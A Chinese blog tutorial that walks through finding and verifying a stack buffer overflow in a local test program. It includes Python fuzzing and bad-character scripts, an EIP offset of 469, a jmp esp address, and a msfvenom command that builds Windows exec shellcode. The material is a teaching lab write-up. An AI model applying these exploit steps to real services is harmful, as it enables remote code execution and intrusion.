缓冲区溢出漏洞那些事:验证与危害判定篇

admin 2023年3月12日20:25:28缓冲区溢出漏洞那些事:验证与危害判定篇已关闭评论20 views字数 2836阅读9分27秒阅读模式

环境信息

系统:kali、Windows 11

工具:x64dbg、ERC.Xdbg插件、python、msfvenom、ncat、Code with Mu

发现

测试代码

```
import socket
from struct import pack

IP = "127.0.0.1"
port = 21449

def fuzz():
try:
for i in range(0,10000,10):
buffer = b"A"*i
print("准备发送数据: %s bytes" % i)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, port))
s.send(buffer)
s.close()
except:
print("指定端口无法访问")

fuzz()
```

测试发现,程序接收到过多的信息会导致程序崩溃,猜测可能存在缓冲区溢出漏洞

测试程序正常运行,会启动一个终端

缓冲区溢出漏洞那些事:验证与危害判定篇

  • 确定崩溃数据范围

为方便查看,在send函数处下断点,这样发送完一次数据后会中断,方便观察到程序在崩溃前接收到的数据访问是多少

缓冲区溢出漏洞那些事:验证与危害判定篇

程序在460-470崩溃了

缓冲区溢出漏洞那些事:验证与危害判定篇

更改测试规则,看到发送466程序崩溃了

缓冲区溢出漏洞那些事:验证与危害判定篇

进一步验证

缓冲区溢出漏洞那些事:验证与危害判定篇

反汇编分析

看到发送466数据,异常暂停,但数据未溢出到EIP暂时无法利用

缓冲区溢出漏洞那些事:验证与危害判定篇

增加测试,逐步增加数据发现469时EIP无变化而当发送470数据EIP出现了41(A的16进制,先进后出原则)

证明了469后的数据可被利用

缓冲区溢出漏洞那些事:验证与危害判定篇

这种测试有点慢,换插件试试

ERC.Xdbg插件辅助测试

先来500个测试代码看看效果(因为以确认了具体数值,实际测试会大很多)

命令:ERC --pattern c 5000

在日志模块会看到输出

缓冲区溢出漏洞那些事:验证与危害判定篇

备注:未设置插件工作目录的话,默认会在插件所在目录输入测试代码文件

此命令可自定义工作空间路径:ERC --config SetWorkingDirectory 盘符:\自定义路径\

缓冲区溢出漏洞那些事:验证与危害判定篇

缓冲区溢出漏洞那些事:验证与危害判定篇

EIP 70413670 (字符串:pA6p)

缓冲区溢出漏洞那些事:验证与危害判定篇

根据EIP 值的字符串格式定位

ERC --pattern o pA6p

可以看到469直接出现了

缓冲区溢出漏洞那些事:验证与危害判定篇

验证

先进后出原则:54534554 TSET

缓冲区溢出漏洞那些事:验证与危害判定篇

缓冲区溢出漏洞那些事:验证与危害判定篇

坏字符或者说干扰字符排查

嗯有时候需要证明还是需要排查下的

ERC --bytearray 可生成用来判断的文件(txt测试代码、bin对比)

缓冲区溢出漏洞那些事:验证与危害判定篇

测试代码

```

在这里写上你的代码 缓冲区溢出漏洞那些事:验证与危害判定篇

import socket
from struct import pack

IP = "127.0.0.1"
port = 21449

def bad_chars():
all_chars = bytes([
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF
])

offset = 469
buffer = b"A"*offset
eip = b"TEST"
payload = buffer + eip + all_chars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, port))
s.send(payload)
s.close()

bad_chars()
```

对比命令:ERC --compare EIP值 盘符:\bin文件所在路径\文件名

看到00后开始不一样了

缓冲区溢出漏洞那些事:验证与危害判定篇

删除无效字符:ERC --bytearray -bytes 0x00

看到0x00没有使用了

缓冲区溢出漏洞那些事:验证与危害判定篇

缓冲区溢出漏洞那些事:验证与危害判定篇

根据此思路删除

ERC --bytearray -bytes 0x00,0x0A,0x0D

缓冲区溢出漏洞那些事:验证与危害判定篇

危害判定测试

寻找可被利用的地址(这里使用jmp esp进行测试)

缓冲区溢出漏洞那些事:验证与危害判定篇

621014E3 选择一个进行测试

缓冲区溢出漏洞那些事:验证与危害判定篇

运行记事本程序生成命令与参数:msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00''\x0A''\x0D'

shell

缓冲区溢出漏洞那些事:验证与危害判定篇

备注:因系统编码不同会导致终端字符串显示乱码,可输入chcp 65001

缓冲区溢出漏洞那些事:验证与危害判定篇

结尾:

本篇文章到此告一段落,有缘再见,最后希望可遵守相关法律与道德底线的情况下进行测试。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:25:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   缓冲区溢出漏洞那些事:验证与危害判定篇https://cn-sec.com/archives/1599508.html